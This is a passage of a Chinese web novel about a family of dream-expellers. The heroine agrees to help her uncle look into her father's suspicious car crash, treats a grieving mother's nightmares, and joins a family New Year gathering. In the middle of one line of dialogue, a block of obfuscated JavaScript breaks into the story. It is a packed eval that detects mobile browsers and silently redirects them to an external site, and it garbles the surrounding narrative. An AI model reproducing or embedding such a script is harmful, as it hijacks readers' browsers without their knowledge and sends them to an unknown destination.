“二叔说这话,是觉得大伯说的对,觉得女孩子家的,就应该回来做点装点门面的轻松事才好吗?”传岚戳了戳煎包,顿时没了胃口。 “怎么拿我跟他比,二叔是那么老封建的人吗,要是的话,还会玩十几年的音乐?还会送你乐清姐去读伯克利,让他走我的老路子?”明义摸着拇指上的玛瑙不满地看着传岚,仿佛他刚才的质疑侮辱了他的人格。 “当然不是啦,只是二叔开口就反对我,我还以为你站大伯那边嘛,不过也是,玩音乐的人都是走在潮流前沿的,怎么会有旧脑袋,算是新新人类才是。” “哈哈,新新人类,听起来还挺有意思。”明义笑罢喝了口水,看着传岚,换了一副表情,郑重其事说道:“不过我是希望你留下来的。” “你也别急,先听下我的理由再做决定看要不要留下。”看着传岚僵住的表情,明义也不逗弄,直接开门见山。 “当然,首先我要坦白的是,明礼确实找了我做说客,不过我并不赞同他的理由,每个人都应当有自己的选择,所谓的什么继承,不过都是借口。假如你乐清姐不喜欢音乐,我肯定不会强迫他去从事这个行业,我会支持他的喜好与选择,你也一样。” “要你留下来是因为有事需要你帮忙,这算是请求,我希望你留在仁济堂,且以驱梦师的身份来接项目,你不是去学心理学了吗,这是张很好用的虎皮啊。” “为什么?”传岚莫名生出警惕,疑惑不解问到。 “我有一些疑问,跟你们驱梦有关,感觉可以从驱梦这方面找点线索。” “什么疑问?” “我的疑问跟你的疑问是一样的。”明义漫不经心的擦了下嘴,抬头直勾勾的盯着传岚的眼睛,像是要从对方的眼睛里直接读出答案一样。 “我不明白你在说什么二叔。”传岚确实不明白。 “明德的手机是你拿走找人去修了吧。”明义也不啰嗦,见传岚没有正面回应,也不管他的反应是真是假,直接挑明。 传岚面上不显,心里一震,二叔的疑问居然是关于爸爸的?那他也觉得爸爸的车祸不正常吗,二叔,是自己这边的人吗?传岚脑海里瞬间闪过无数念头,想要立马托盘而出,与对方对账一切已知未知的信息,但他没有,他克制住了想要追问的欲望。 “是,我想拿来做个留念。”传岚这样说。 “咱爷俩也不兜圈子吧,我知道你想做什么。既然你想知道,我也想知道,我们何不联手?我感觉你爸车祸不对劲,就一句,你要不要待仁济堂帮我找线索。” “我可以留在仁济堂,二叔说的那些我也可以做,只是我想知道你为什么觉得我爸的车祸有问题,我记得肇事方自己都认罪认罚了。”传岚疑惑二叔为何现在才说,这事已经过去八年了,既然有疑问,当时为什么不提出来,要等到现在。 明义见传岚默认了,也就不藏着噎着了,放松神态,回忆当时的情景。 “我记得你爸出车祸的时候你才16吧,时间过得真快,都已经过去八年了,你爸出车祸的时候是我最先赶到的,我去的时候警察和救护车已经到了,等我赶到时你爸已经走了,这没什么好说的。 “不过让我奇怪的是,我发现你爸车上还放着角香,我虽然不了解你们领域,但是小时候也听你奶奶讲过一些,一般入梦都是在自家假寐进行,角香也都是放在家里。 “明德为什么要在车里放角香,这东西不是有镇静催眠的作用吗,即使不点燃也会有微量的气味散发出来。这怎么看都不是放在车里的东西吧。”明义说完自己的疑惑,静静看着传岚。 车祸现场有角香!传岚竟不知道。 “我们在进行驱梦之前,要满足两个条件,第一个,是要和患者面对面交谈,再不济也要他对我们打过几次照面,与患者碰到的场景最好越深刻越好,这样做的目的是让患者在脑海里熟悉并对我们产生印象,有了这个前提,我们才能在假寐的时候得到进入患者潜意识梦境的允许。 “这第二个就是点燃角香,角香除了安神助眠,还有一个极其重要的作用,充当联通患者梦境的路。有了这两个条件,才能准确快速的找到并进入患者梦境施展驱梦术。” 明义靠在沙发上,食指有节奏的轻击桌面:“这么说,他是要去见甲方,还是个不愿意或者不方便来医馆的甲方,那么这个甲方是谁呢,为什么不方便过来,还非得明德过去呢。” 那通电话!传岚想起了爸爸手机里最后一通电话,打那通电话的人是甲方。 传岚点了点头,表示认可二叔的推测:“我记得很清楚,那天爸爸出门的时候明明还很高兴的跟我说左酥坊出了新品,他下班回来帮我带,可是转眼怎么会在郊外出车祸。 “如果他是出差面诊,依照他的性格,最起码也会给家里打电话说下,可我没收到他任何信息,这说明他认为依照原计划可以当天回来,以他下午出门,左酥坊晚上七点关门来看,出现在郊外不是他的计划,除非有人使他临时更改了计划,这才造成了车祸。 ” “住在郊外的甲方,还得明德亲自过去,这怎么听着好像对方来头不小啊。”明义听完传岚的信息,沉思了会,在少得可怜的线索里只得出了这位甲方身份不小,不是普通人的结论。 见传岚不语,明义接着说道:“我想,既然是跟你们驱梦有关,我觉得你还是继续留在医馆,接下医馆的工作,说不定会有什么线索。” 半响,传岚问:“车祸现场的角香在哪,二叔有跟其他人说这个事吗?” “角香在我这,除了你,没跟其他人说过这事。” “暂时先不跟姑姑大伯他们说吧,时间太久了,不好重新提起这个事。”从除了自己外的人那里得来确定自己疑问的信息,传岚分不清是喜是悲,只是觉得自己心里无比复杂。 “我知道。” “既然答应留下来,至于留下来的原因就麻烦二叔去给姑姑他们一个合理的理由。” “那自然是我动之以理,晓之以情,好好劝说下来的,你说是不是啊传岚。” “是,二叔说的是。”传岚勉强挤出笑容配合二叔。 传岚与纪明义分开后,不想回医馆被人看出心事重重的样子,想起好久没去的拳馆,便打车过去呆了一下午。 他需要自己冷静冷静调整下心情。 传岚晚上回到家,姑姑明显心情很好,还亲自做了一桌菜,招呼传岚洗手吃饭。 “听你二叔说你决定留在医馆啦。” “嗯。”传岚应着,顺便接过传人手里的碗筷摆好。 明礼见传岚精神不高,不是很想多说的样子,也只当他有点闹情绪,见好就收换了个话题,免得讲多了他再反悔。 “你过来医馆,我心里也宽慰不少,正好这几天有个棘手的事情,需要你来处理下。”明礼边说着边给传岚和传人各盛了碗冬瓜薏米排骨汤,“本来早先时候就想说的,一直没时间。来,喝口汤暖暖。” “什么事情?”传岚起身双手接过。 “就是上次你来医馆找我,门口碰见的那对母子。 “需要你看的是那个闺女,叫钟雨花,29岁,听他妈说前段时间外孙溺水没了,闺女受打击太大,导致精神有点恍惚,晚上也不睡觉,好不容易哄睡着,却一直做噩梦。我给他开了些辅助睡眠的药先吃着,最终还是要你去看看。对了,那闺女事发到现在,一句话都还没说过呢。” “没先去医院看下嘛?”传岚见过他俩,当时在商业街的时候就一副神不附体的样子,原来是丧子之痛。 “去过了,好几趟了,医生也没法,这还得自己想开些,想得开就不用费心找到这了。” “那就联系他过来吧,我后面也不出去了,争取这几天就做完,不耽误过年。” “我明天就叫卓雅联系他们过来,你吃完早点去休息。” “传人也是,别玩太晚。” 传人应了好后就跟着传岚上了楼。 “你跟上来干嘛?”传人像条尾巴一样黏了上来。 “我有些问题想问,大姐,上次在舒老师梦里,你为什么要打朱砂,是有什么说法吗?”传人顺手关了门。 “没什么说法,就是用来追踪的,我又不能百分百确定看到梦眼的第一眼就能解决,不先打标记,跑了再找吗”传岚窝 在地毯上的小沙发里刷手机。 “哦,那我下次也用朱砂来标记追踪。”传人拉过来一张坐凳坐下。 “随你喽,喜欢用什么就用什么喽。” “还能用其他的东西吗?”传人听出弦外之音,顺势追问到。 “是啊,上次不跟你说了嘛,我们驱梦师在梦里靠的是想象,你喜欢的话,可以用枪,也可以用飞镖、飞针、弹弓,只要准头好,你用树叶都行。” 传人听得俩眼发光,这样的话,不就跟武侠小说里的世界一样吗,那岂不是可以想象自己是那齐天大圣,有七十二般变化,搅动天地风云之能力。 “哇,这也太赞了吧,那我下次要变成孙悟空,替甲方们横扫一切‘妖魔鬼怪’。”想入非非的传人中二之魂在燃烧。 传岚听到,甚至都懒得翻白眼。 “你好歹都是要高考的人了,语文考一百一二十分的人,能不能抓重点,说了靠想象,是靠想象造物,不是靠想象造人啊,你怎么不把诸天神佛都请出来啊,还省的劳动你。” “不能吗,我忘记了,实在是太激动了。”兴奋值略微下降。 “这有什么好激动的,劳心劳神还影响自我修复。你这么喜欢,高考完干脆去报演艺专业去当演员好了,不仅能体验各种人物,还能赚钱,听说当演员很挣钱啊,你去试下喽。”传岚翻了个身接着说,“你这脸又还看得过去,文化课分又高,还有大伯二姐给你铺路,想想很可行啊,有个当明星的弟弟好像还不错嗳,你混上明星了,帮我要签名照也很方便。 “你要签名照找二姐就好了,他要个签名照还不是轻轻松松易如反掌的事。” “麻烦二姐干嘛,二姐那么辛苦,还要跑场巡演,娱乐圈人情世故那么深,也不好混的。” 传人撇了下嘴,心想大姐真是不客气,反正麻烦弟弟不用考虑这那。嘀咕完还是想继续了解驱梦的事,便又扯回了话题,问到,“那驱梦术岂不是很一般,只能造物,我要是碰到厉害的梦眼怎么办,我能想象自己很厉害,会各种武功法术吗?” 传岚听到,意味不明地笑着说:“一般很少遇到这种,遇到也没事,直接放弃了不就好了,反正驱梦向来是能驱就驱,驱不了就不要勉强嘛。” “那大姐就没有遇到过束手无策的梦眼吗?”传人不服问到。 “没啊,大姐我还是很强的。” “那大姐你教我,我也想像你一样。” “想学?” “想学!” “真这么想学?” “真的!” “好吧,其实也没什么啦,就是之前说的:想象越清晰,能力越稳定啦。不管是造物还是所谓的什么武术招式,都是一样的。 “要么你现实生活就去学点,让自己身体灵活有力,要么就去看别人打拳喽,看个千百遍的,看到能想象出自己也能打出那样的就行了,平时没事身体动一动比划比划,把自己带进去就可以了。” “这就是你去练散打的原因吗,大姐。”传人顿悟之余感到一丝惊讶,想大姐练散打是高一的时候就开始练得,当时大家都只当他对散打是一时的兴趣,时间一久自然会像当初学习二胡钢琴滑轮一样没了兴头就放弃,但谁又能料到,传岚一竟直坚持到了现在。 “强身健体,是不是又没什么关系,你也可以练啊,我不藏私的,反正就这些方法。” “可是爸爸就是纯粹的中医啊,我没听他说起过他会武术什么的。”传人已经高三了,还没练过任何武术,他起步已经落后了。 “爸爸又不是老顽固,太厉害的还不是就放弃了。你别看爸爸是个老中医没练过什么系统的格斗武术,他力气可大得很呢,一手就能拎起你信不信,而且他很爱看武侠片,心志坚定,造物纯熟,基本没什么问题吧。 “当然了,还有一个最主要的问题是他们那个年代的人,大多吃的都是身体上的苦,不是精神上的,自然,患梦的人少,梦眼也就没那么大没那么杂了。 “现在嘛,与时俱进,梦眼也跟着进化了。你不看电视吗,现在精神类疾病和心理疾病在年轻人群体里占比逐年攀升啊。 “现在的年轻人压力太大了,不好搞啊。” “这也是你去学心理学的原因吗?”传人像个人机一样疑惑地又问出了这种问题。 传岚冷哼一声,“是啊,你有意见?” “没有,我就是觉得大姐高瞻远瞩,很有远见,真的,大姐你太厉害了。” 传人很佩服大姐,细想一下,觉得大姐做的每件事都可以跟驱梦串起来,都是服务提高驱梦能力的,怪不得大姐用起驱梦术来娴熟无比。又有理论又有实践,不强都没道理了。 传人想大姐虽然嘴上说着不想碰驱梦术,其实心里还是喜欢的吧。 “少拍马屁,没事做就去看书。” “嗳。”走了两步的传人又折返回来,“我还有一个问题。” “什么?” “那种没见过的东西可以造出来吗?比如说关羽的青龙偃月刀,大圣的锁子黄金甲。” “可以啊,不过大概率造出来的是你在影视剧里或者其它地方看到的样子吧,怎么,现存的东西不够你用啊?” “没有,就是问一下嘛,那没见过的东西怎么造啊?”传人真是如饥似渴,好学不倦啊。 “没见过的东西啊,想象起来模糊不清,又很费脑袋。 “嗯,这就要看你有没有创新这方面的能力了,你可以自己动手设计啊,把它画出来,动手能力强的话,做个实体的小模型小玩具之类的,这都是具象化增强想象能力的方法。” “哦。”传人若有所思地看着大姐床头挂着的粉色小塔,以及墙上那一面满满当当像冰箱贴一样的装饰,伸手指着问, “你那一墙都是吗?” “是啊,我还有很多挂饰呢,都是一套的。”传岚笑得很开心。 “你自己做的?”传人不敢相信,甚至有点不愿意相信。 “不都是,简单的是我做的,难得找人做的,不过都是自己设计的,做来玩的。” “呃。”传人进入短暂失语,他还是了解太少了,不管是关于驱梦,还是关于姐姐。 “真的,我建议你认真考虑下去当演员,演员不用费脑子就能体验人生百态,我看你对装扮人生很感兴趣啊。” 传人无视传岚对自己的打趣,有点沮丧不想接茬,只说,“我突然想起来姑姑好像在找我,那我先走了大姐。”传人说完就跑了。 传人走后,传岚想起饭桌上姑姑提到的钟雨花,思绪万千,手里的手机也不好玩了,躺着放空。一会过后,已是十一点了,传岚抽出根角香点燃。 袅袅青烟蜿蜒升腾,像是绵延不断的愁思,挥斩不断。 传岚看见钟雨花在房间里跟小孩子嬉戏,好不温馨快乐。 “果果加油,嗳,真棒,宝贝会走啦,给妈妈亲一个。” 画面里的钟雨花手牵着叫果果的小孩在学走路,这个钟雨花满面红润,神情温和,和之前见到的样子俨然天差地别。 传岚远远在一边观望,并不靠近。 钟雨花虽与传岚打过一次照面,但并没有过正面交谈,且雨花当时状态极差,并没有将他放在心上,属于过眼忘的情况。 此时进入梦里的传岚对于雨花而言就是入侵领地的陌生人,若是领域意识强的人,看见就会发起攻击,便是领地意识 一般的人,对于陌生人来访,也不会有什么好脸色的。 如果只是远远的不进入雨花的视野,不被梦眼发现,不进行对话,那传岚就会像马赛克一样出现在雨花的梦境里,雨花会感觉到好像有这么个人,但是想不起来具体的。 “嗳,真棒,果果你这么棒啊,都会走路了,再过几个月我们果果就两岁了,到时候会跑会跳,妈妈就不用这么幸苦一直抱着你了,你会走了我们就去找外婆外公玩,你说好不好啊。” “ 来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530086|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宝贝,再走两步妈妈瞧瞧。” 果果蹒跚着跌跌撞撞向雨花走来,一步又一步。只是,还未走到雨花跟前,梦境就攸然落下幕布,翻转了舞台。 再望去,就已是果果连着推车落在水里翻腾的画面,雨花看见后立马崩溃跳进水里,想要去捞他的果果。 可跳进水里梦境又变换了场景。那是传岚没见过的老头,坐在沙发上指着雨花就骂:“都怪你,谁让你不安分非要上什么班,你要不去上班自己带孩子就不会发生这种事了,是你害死了果果,你不配当一个母亲。” “不是我,我没有,不是我。”雨花坐在地上哭着反驳。 “不是你是谁,你是果果他亲妈,果果是你生出来的,你不看谁看,别人家的孩子都是自己亲妈在带,非你特殊,吵着要去上班,你害死果果还不承认。毒妇啊。” “ 没有,不是我,老公你说句话,你告诉他不是我害死果果的。”雨花抱着突然冒出来的另一个年轻男人的腿哭着说。 年轻男人甩开了雨花的手,走到对面老男人跟前,不带一点感情的说:“钟雨花,我看错你了,我没想到你这么自私,只想自己,一点也不为我们这个家庭着想。爸说的对,如果不是你非要吵着去上班,果果就不会死,是你,是你害死了我们的孩子。” “不,不是这样的老公,你明明知道我不是这样的人,我去上班是被逼的啊。”雨花哭的更伤心了。 “谁逼你去上班了,谁也没逼你去上班,是你自己吵着闹着要去上班的。”年轻男人语气竟有些凌冽的意味。 雨花抬起头,怔在原地,对年轻男人的反问一时语塞,半响,嘴里喃喃不清地念着:“我是被逼的啊,我不上班不行啊。”但没人理他。 突然,雨花猛地站起,四处推门找人:“妈,你在哪啊妈,你出来帮我说句话啊妈,你是体谅我的,你知道我要去上班的,你快出来帮我说句话啊妈。” 雨花在暴躁崩溃边缘找到了从厨房出来的中年妇女,他满眼希望的跑去拉着妇女的手:“妈,你快帮我说句话,你告诉他们,不是我害死果果的,我上班是有理由的,我不能待在家里的,你快告诉张勇。” 雨花眼睁睁看着他口口声声喊妈的妇女在对面老男人的一声厉喝中挣脱了他的双手,走到了对面:“雨花啊,这次是你错了,妈帮不了你。” 希望破灭了,全方面的否定斥责,令雨花彻底奔溃,藏在雨花心口的梦眼泛出白光,梦境开始迅速坍塌。 传岚闭着的眼缓缓睁开,看向手机,时间显示为十一点半。望着天花板放空了会脑袋,整理好情绪起身下楼。 解铃还须系铃人,看来明天过来医馆的人要变多了。 关于钟雨花的基本情况已经全部了解完毕,整件事件中最重要的两人,一个是疑似他公公的人,另一个则是钟雨花婆婆。两人均是造成甲方失语患梦的主要原因。 现在要做的就是从钟雨花的婆婆入手,从昨晚的梦境里,传岚窥伺出钟雨花对自己的婆婆很是信任依赖,但他婆婆却未在最关键的时候站到他这边,这有可能是导致压垮钟雨花心理防线的最后一根稻草。 “纪医生,你叫我们过来是有办法了吗?”还未坐下,唐丽就着急问到。 “对,我们有了新的应对方法,今天过来是详细的再了解下具体的情况。”明礼安抚着招呼他们坐下。 “基本情况我们大概了解了,这边还有几个问题要问,你是钟雨花婆婆吧。”传岚朝着另一位面色不佳的中年妇女问到。 “是,我是他婆婆。”妇女微微诧异。 “平时和患者的关系怎么样啊?” “医生,问这是?”唐丽见纪教授说完不再言语,反而是坐在一旁的年轻医生一直开口询问,对此感到不解。 被问到的王秀芬也是一脸疑问,不知该不该回答,怎么回答,便看向了提出疑问的唐丽。 “哦,这位是我同事,他问的问题都是我要问的,你们不用担心,尽管回答就好。” 王秀芬听罢,斟酌着开口:“我和雨花的关系应该还算可以吧,我们平时相处都还蛮和谐,基本没有闹过什么矛盾。”说完,秀芬看了眼雨花,又看了眼亲家母唐丽,见唐丽朝着医生点头这才向医生回看过去。 “那他和家里其他人关系怎么样啊?”传岚继续问道。 秀芬看了眼唐丽:“都挺好的,跟我儿子也很好,俩个很少吵架。”秀芬说完停顿了一会,难为情地接着说,“就是张勇他爸嘴臭,平时说话不太好听,他俩有点小矛盾。” “哦,那一般他俩闹矛盾的时候你跟你儿子是站谁那边的?” “站雨花这边,雨花是个好孩子,我知道他不会平白跟人吵起来的,多是张勇他爸嘴碎爱念叨。” “我听唐阿姨说,雨花是下班后才知道果果没得是吧。”问这个问题的时候传岚是看着钟雨花问的。 “对,果果没得时候,雨花还没下班。”提及果果,秀芬的语气都低了一个度。 事情虽然已经过去了,但是,显然它带来的伤痛似乎还在深深地缠绕着关联的每一个人。 “可以告诉我,张勇爸指责雨花的时候,你和张勇都是什么反应吗?” “对于果果溺水,我们都很难过,但是张勇他爸因为果果指责雨花不是真的想怪雨花,真的,我了解他,他这个人就是外强中干,他没想过会发生这个事,首先发难怨雨花也是因为他太自责了,他不敢承认是自己的错。” “他怕大家伤心过后开始找他算账吗?” “我想着是这样的。”秀芬很是难为情。 “你当时有帮雨花说话去反驳张勇爸吗?” “有,我把他狠狠骂了一顿。” “我可以认为你是认可雨花,站在他这边,支持他去上班的吗?” “当然了,雨花想去上班,当然应该去上班,果果没了是意外,跟他上不上班没关系的。” “雨花,你看着我,你婆婆说的话你听见了没,他是站在你这边的,你不用自责,果果没了不是你的错。”传岚看着雨花,等待他的回应。 旁边的唐丽听完整个对话,早就抹了不知多少眼泪,他看着雨花:“花花啊,你听见医生的话了吗,果果没了不是你的错,你不要都怪在自己身上。你跟妈妈说句话啊花花,你已经没了果果,不能再让妈妈没有女儿了啊。” 女生听到,无神的眼睛聚焦在眼前这个生了皱纹头发花白的妇人身上,眼泪静默流下,良久,哇的一声:“妈。” “妈,我真的好苦啊妈,为什么要这样对我,为什么啊。” 众人无不心酸流泪。 钟雨花开了口,大家心里的石头好像落了一块,愿意开口就是好事,后面调理也就是水到渠成的事了,纪明礼配合着 传岚开了助眠和调养的方子,依旧叮嘱每日晚上服了药后早点休息。 那边三人走后,这边传岚就通知了传人晚上实战练习,虽然此次甲方生出的梦眼时间不长,但属于骤然生成的特殊情况,也很值得一练。 不过甲方是身体孱弱品行纯洁的人,也没机会以武驱梦,只能就白日里讲的部分理论进行实践。 二人进入雨花梦境之中,传岚看见的依然是雨花与果果日常相处的情形,只不同的是,这次幻化的梦境明显较上次平稳柔和了不少,上次的梦境,给人一种极不安定的感觉,像是随时都会有暴风雨来临一般。 蓝色的梦眼安静地躺在果果的心口位置缓慢而有力地跳动着。传人看了眼大姐,见传岚点头后,凝神聚力召唤出了自己的小塔,准备收了梦眼。 传岚见传人的小塔较之上次明显精致了不少,塔身多了些装饰的如意纹,不仅如此,周身还浮现出了环绕着的飞鸟,塔檐下还配上了风铃。传岚默默点了点头,以示认可。 “传人,梦眼本体虽在果果身上,但是需要注意的是还有幻化成甲方的虚体,要保证同时收了它俩,不然惊动一方,另一方可能会暴走,而且本体虚体的关系过于特殊,不能大意。”传岚悄声提醒。 传人点头,索索塔不断变大飞升至上空,悬在甲方二人头顶,蓝色梦眼的能量被不断地吸引拉扯至索索塔,就在进展顺利,渐入尾声时,果果突然大哭起来,雨花似是感应到了什么,飞扑上前,紧紧抱住果果,转身恶狠狠的盯着两人,同时,梦境虚空幻化出五六头巨兽,围绕在母子二人周围,逼得传岚他们后退数步,也扰乱了传人的节奏。就在此间,蓝色梦眼的剩余能量回到了果果身上,巨兽同时朝着传岚与传人奔扑过来。 只见刹那之间,传岚完成披甲持刀的同时幻出“天盾”于传人周身,给他以时间反应。 “传人,标记。” 传人迅速反应过来,幻出弹弓朝着果果打出了一枚糖果,五彩缤纷的线从源头生出连结在传人手腕。 传岚几个回合就干净利落的解决了巨兽,但愤怒的甲方又幻化出了更多的帮手,其中不乏有一些虎豹财狼,看来甲方想象力有些匮乏,只觉得这对人就是伤害大的。 真是一个比一个麻烦,传岚心里嫌弃的不行,手上的动作却一刻也不敢停下来。 并不是在梦里,驱梦师就能不顾忌生死乱来,在梦里受伤同样会影响现实里的身体,梦境里的死亡则更加损伤精气,况且传岚并没有找姑姑过来守着,这表明二人只有一炷香的时间来解决甲方的梦眼。 “纪传人,保持注意力,继续收。”传岚既要保持高精力维持天盾,又要解决这些源源不断的烦人打手,腾不出手去帮忙收梦眼,只能靠传人自己了。 甲方见对方毫无压力的干掉一只又一只小兽,当机立断不再缠斗,幻化出一群兔子朝着四面八方跑去。 幸而传人早已打了标记,顺着线就能确认出梦眼藏在哪一只,传岚跟着带有梦眼的兔子追去,将注意力盯在目标上,再次幻出小塔跟在身后收。 雨花见果果变成兔子跑了后,神情突然变得呆滞了起来,呆呆坐在那儿不说话,传岚唤他他才回神过来:“纪医生啊,你怎么在这。” “哦,我路过,我刚看见你婆婆带果果在楼下晒太阳,你不是要准备去上班了吗,怎么还在家啊雨花。” “我要去上班吗?”雨花又重复问了一句。 “对啊,你看都八点多了,再不去要迟到了,你不上班果果哪来的钱买奶粉啊,不说是不是。” “对对,你说的对,我是该去上班了。” “那我们一起走吧,我有事要一起过去。” 传岚带着雨花朝传人那边跑去,在几人汇合时,传岚一个手刀打晕了雨花:“快,就现在,一起收。” 传岚幻出自己的小塔,将梦眼的虚体与剩余的实体全部收入塔中,在梦境坍塌之前回到了家中。 没了梦眼作乱的雨花安稳地熟睡过去。 8. 劳逸结合就结伴去亲近自然 年二十八九,大家陆陆续续都回到了老宅,那有家口的就拖家带口早早出发过来,没家口的反倒潇洒自由拖到最后几天才来,这林林总总加起来竟有一十二人,要是赶巧结了婚的都在这边过年,那就足有十五人了,这还不算各自带回来的老宅里的阿姨们,纪家过年,是非要图个热闹的。 传岚和传人、明礼三人回来时,家里已经热闹的很了,两个小孩子满院子的跑来跑去,累的后面照看的阿姨直不起腰。 传岚问了好后上楼放置东西。 房间还是之前的样子,只是搬去跟姑姑住后这里的东西少了很多。右手旁边是传人的房间,左手边原本是爸妈住的,后面空着浪费就由月朗哥住了。 为了让这个大家庭里的每个人都有自己的独立空间,前几年老宅特意重新装修了一番,把一些使用不高的地方都改成了房间。 一楼原本是爷爷奶奶住的,后面由大伯住,二楼是姑姑和二叔一家在住,三楼由于有一个露天大阳台占了一部分面积,所以只有明德一家在住,旁边挨着的一栋小二层,一楼是餐厅,二楼是月庭一家跟月容一家在住。 月朗哥原本也住那边,不过纪月朗嫌弃小孩子吵闹,就搬过来住了。 年三十晚上,大家吃完饭移到客厅吃茶。纪明仁神神秘秘从房间提出一袋包好的红包,朝着方慧使了个眼色,眉眼含笑地等方慧使人叫来在外面玩烟花的几个小辈,人齐后,清完嗓挨个叫人分发红包。 几个小辈欢欢喜喜的说着吉利话,在纪明仁这里领了红包。明义明礼也紧跟其后分发了红包,大家和和气气的说说笑笑。 “来,岚岚,传人,大姐给你们包的红包。”月容还记得之前说的玩笑话,果真给传岚和传人包了红包。 “不用啦月容姐,我都多大了还收你的红包,收大伯的就已经厚着脸皮了,怎么还能收你的红包呢,我们可是同辈嗳。” “虽然是同辈,但我已经结婚了,就和你们没结婚的不一样了,况且你每次来都给妞妞带礼物,给你包红包也是做姐姐的一片心意。” 旁边的纪月庭戳了戳媳妇莉娅,莉娅也笑着走来,掏出红包叠在月容的红包上,“你就收下吧小妹,这也是你大哥大姐的一份心意,你和传人作为我们这一辈的老幺,小叔和叔母都不在了,大家多照顾疼爱你们些也是应该的。” “那我就谢谢大哥大姐了。”传岚简单客气了两句就不再做推辞收下了,掏出了早就准备好的红包,那红包封还有点巧思在上面,是小孩子惯常喜爱的毛绒玩偶布封,“来,这是姑姑给你们准备的红包,妞妞,圆圆。”传岚拿来红包挂在两个小孩脖子上。 “你别看我啊,我可没红包给你。”坐在一边看热闹的乐清吃了瓣橘子说。 “哈哈,你这丫头,传岚还没说话呢,你倒着急撇得快。”纪明仁坐在上座笑着打趣道。 乐清:“我可没大哥大姐钱多,我这十八线小歌手混饱自己都算不错了。” 纪明仁笑到:“我可是听你爸妈说你忙的一年着不了几次家,怎么还没挣到钱,是不是小气。” 乐清:“就是挣不到钱才一年到处乱跑嘛,要是能挣到钱,还不像纪月庭纪月容一样想回家就回家啊。不过嘛,红包没有,倒是可以请传岚他们出去吃好吃的。” 传岚:“过年这几天都吃够了,还出去吃啥啊二姐,等我什么时候嘴馋了再来找你啦。 “还有,二姐就是想给我包,也得要结婚了才可以啊。 “可是二姐,你不是还母单呢嘛。”传岚揶揄二姐。 “嘻嘻,是啊,我还母单呢,所以跟你一样只有收红包的份啦。” “那我俩要是一直不结婚,岂不是能一直收红包。”传岚顺话说道。 “淘气,哪有人为收红包不结婚的,你们俩早点结婚大伯给你们包个大红包才对。” “那我早点结婚,爸你给我包多少啊?”纪月朗听闻放下手机凑到跟前问。 “一边去,还给你包,你别折腾光我这几个养老钱我就谢天谢地了还给你包。” “爸你说这多没意思,我这不是在创业吗,创业初期,谁不是这样。现在是前期投入,等过段时间步入平稳期了,自然会赚回来的。” “滚蛋,不提还好,一提我就来气,早点倒闭才好,也少些折腾。” “你也是,这也值得生气,月朗有上进心还不好,那老王家的孩子,跟月朗差不多大,你看他什么样,月朗什么样,我们月朗还是很优秀的,你要多点耐心,给他点时间,年轻人就是要有闯荡精神的。”方慧招手示意纪月朗过来,摸了摸纪月朗的头发,笑着让坐跟前。 纪月朗头靠在母亲方慧肩膀上,撇嘴无声反驳父亲刚才的话,用行动证明方慧替他说的话就是他心中所想。 纪乐清朝着坐过来的纪传岚挤眉弄眼,嗑着瓜子。 传岚笑了笑,也嗑瓜子。 纪明仁:“老王家的不成器,纪月朗就要不成器吗,怎么偏要学坏不学好呢,他站在垃圾堆里发光不是自己多厉害,是因为垃圾衬托的,你搞搞清楚啊。” 方慧有些不高兴:“你说的这是什么话,月朗本来就是好孩子,干嘛要说这么难听的话伤孩子的心。” 纪明仁:“这么大人了,还听不得两句批评吗,这么玻璃心,以后也难成大事。” “爸,大过年的生气干嘛,月朗已经很好了,你也不要太苛责,你对月朗期望再大,也不能要求他一下就做好,月朗也才工作不久,你就耐心点再等他几年了。”纪月庭抱着小孩出声劝到。 “哼,随他怎么折腾,我才不管。” 一段小插曲,众人也并不在意,偌大的电视上播放着春节联欢晚会的节目,只是鲜有人看,都各自低头玩手机。 “乐清,你学音乐的,挑好听的给我们大家唱几首,大过年的,热闹些嘛。” “是啊乐清,我听我外甥说你的票还要抢才能买到。”莉娅也说。 纪乐清正想着以什么理由来拒绝家庭表演,一旁坐到打盹的的纪明义听到唱歌,顿时来了兴趣,说道:“想听歌找我啊,我以前也是玩音乐的,虽说丢掉好多年了,但我这底子厚啊,乐清,去拿我的吉他来。” 乐清应了声起身拉着传岚一溜烟跑了。 “明义以前唱歌是挺好听的,只是现在年纪大了,也不知道高音拉不拉的上来,别到时候拉不上来叫乐清笑你。”纪明仁朝着众人笑说道。 “凭我这底子,还有拉不上来的?就是拉不上来那又有什么关系,图个热闹而已。”纪明义并未放在心上,看得出来,只是单纯想唱歌了。 乐清与传岚拿乐器下来,一个简约的舞台已经布置好了,话筒和音响好像是现成的。 明义清了清嗓,问底下的人都想听些什么,明礼和文秋说是就唱二哥拿手的民谣,月容起哄着要听现在的流行歌曲,两个小孩跑到二爷跟前围着要听“太阳花”和“喜羊羊”,一时,众口不一,明义兴头起来,大手一挥:“行,每样都来几首。” 明义在那边唱的高兴,俨然像是进入了自己的舒适区,唱到兴头,还扭了起来,走向文秋,拉着文秋的手当即转了个圈,惹得底下的几个年轻人哦哦的起哄,五十几岁的人了,此时却看不出一点年纪,倒像是个三十来岁的人,既显成熟魅力,又兼动感活力。 方慧看了眼旁边的纪明仁,只见他板板正正靠在椅子上,表情无甚波动,察觉到方慧投射过来的视线时,也只是转过来问了句:“怎么了?” 方慧顿感无趣,回了句没什么就扭回了头。 注意到母亲小动作的莉娅笑着戳了戳月庭,月庭笑着微微摇了摇头,继续给莉娅细心的剥橘子络。 明义唱了几首,还未尽兴,底下的两个小孩就吵着要自己唱幼儿园教的太阳花了。 明义也就把话筒递给了他们,一个唱一个跳的去玩闹了。 传岚见四周不见传人的影,便和姑姑打了招呼上了楼。 “怎么一个人待着,不去下面热闹热闹,刚二叔在唱歌呢。”传岚见传人躺在床上,房间里只一盏昏黄的床头灯亮着。 “不想下去,没什么意思。”传人翻了个身。 传岚无声叹了口气,躺在藤椅上假寐,也不说话。 二人无言,一室寂静。 “躺会就下来走动走动,亮个相,我不想听些烦人的唠叨话,知道了吗?”传岚站起身。 